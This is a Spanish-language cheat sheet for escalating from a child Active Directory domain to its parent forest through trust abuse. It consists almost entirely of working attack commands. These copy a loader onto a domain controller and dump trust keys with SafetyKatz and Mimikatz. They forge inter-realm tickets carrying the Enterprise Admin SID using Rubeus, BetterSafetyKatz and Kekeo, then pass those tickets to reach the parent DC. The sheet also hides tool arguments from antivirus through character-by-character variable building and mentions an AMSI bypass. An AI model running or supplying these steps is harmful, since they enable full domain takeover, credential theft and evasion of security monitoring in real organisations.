Explotación de confianza (child to parent)
Across Forest — para saltar a otro bosque, repetir estos pasos pero desde el DC del dominio padre.
SID History (SafetyKatz)
Iniciar una shell con permisos de DA.
Copiar el Loader en el DC:
echo F | xcopy Loader.exe \\<DC_MACHINE_NAME>\C$\Users\Public\Loader.exe /YIngresar al DC:
winrs /r:<DC_MACHINE_NAME> cmdCrear un port forwarding:
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<LOCAL_IP_ADDRESS>Codificar e insertar lsadump::trust:
set "z=t"
set "y=s"
set "x=u"
set "w=r"
set "v=t"
set "u=:"
set "t=:"
set "s=p"
set "r=m"
set "q=u"
set "p=d"
set "o=a"
set "n=s"
set "m=l"
set "Pwn=%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"En la máquina de apoyo, levantar un servicio web en el puerto 80 que sirva el binario de SafetyKatz.
Ejecutar SafetyKatz para obtener el SID History y el Trust Key:
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "%Pwn% /patch" "exit"Forjar con Rubeus
Codificar e insertar silver:
set "z=r"
set "y=e"
set "x=v"
set "w=l"
set "v=i"
set "u=s"
set "Pwn=%u%%v%%w%%x%%y%%z%"Forjar el ticket con el SID History del Enterprise Admin:
Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /service:krbtgt/<DOMAIN> /rc4:<TRUST_KEY> /sid:<SID_DOMAIN> /sids:<SID_HISTORY>-519 /ldap /user:Administrator /nowrapCodificar e insertar asktgs:
set "z=s"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"Realizar PTT con el ticket base64 del comando anterior:
Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /service:<SERVICE_NAME> /dc:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN> /ptt /ticket:<B64_TICKET>Acceder al DC del dominio padre:
winrs /r:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN>Forjar con BetterSafetyKatz
Forjar el ticket con el SID History del Enterprise Admin:
BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:<CHILD_DOMAIN> /sid:<SID_DOMAIN> /sids:<SID_HISTORY>-519 /rc4:<TRUST_KEY> /service:krbtgt /target:<PARENT_DOMAIN> /ticket:trust_tkt.kirbi" "exit"Codificar e insertar asktgs:
set "z=s"
set "y=g"
set "x=t"
set "w=k"
set "v=s"
set "u=a"
set "Pwn=%u%%v%%w%%x%%y%%z%"Realizar PTT con el ticket del comando anterior:
Loader.exe -path Rubeus.exe -args %Pwn% /ticket:trust_tkt.kirbi /service:<SERVICE_NAME> /dc:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN> /pttAcceder al DC del dominio padre:
winrs /r:<DC_PARENT_DOMAIN>.<PARENT_DOMAIN>Invoke-Mimikatz + Kekeo
Iniciar sesión remota en el DC:
powershell -ep bypass
$sess = New-PSSession -ComputerName <DC_MACHINE_NAME>
Enter-PSSession -Session $sessRealizar el bypass de AMSI en la sesión remota y salir con exit.
Copiar Invoke-Mimikatz en la sesión:
Invoke-Command -FilePath Invoke-Mimi.ps1 -Session $sessVolcar el SID History y el Trust Key:
Enter-PSSession -Session $sess
Invoke-Mimi -Command '"lsadump::trust /patch"'Crear un TGT inter-realm:
Invoke-Mimi -Command '"kerberos::golden /user:Administrator /domain:<CHILD_DOMAIN> /sid:<SID_DOMAIN> /sids:<SID_HISTORY>-519 /rc4:<TRUST_KEY> /service:krbtgt /target:<PARENT_DOMAIN> /ticket:trust_tkt.kirbi"'Crear un TGS para un servicio del dominio padre:
.\asktgs.exe trust_tkt.kirbi <SERVICE_NAME>Presentar el TGS al servicio:
.\kirbikator.exe lsa .\<TICKET_NAME>.kirbi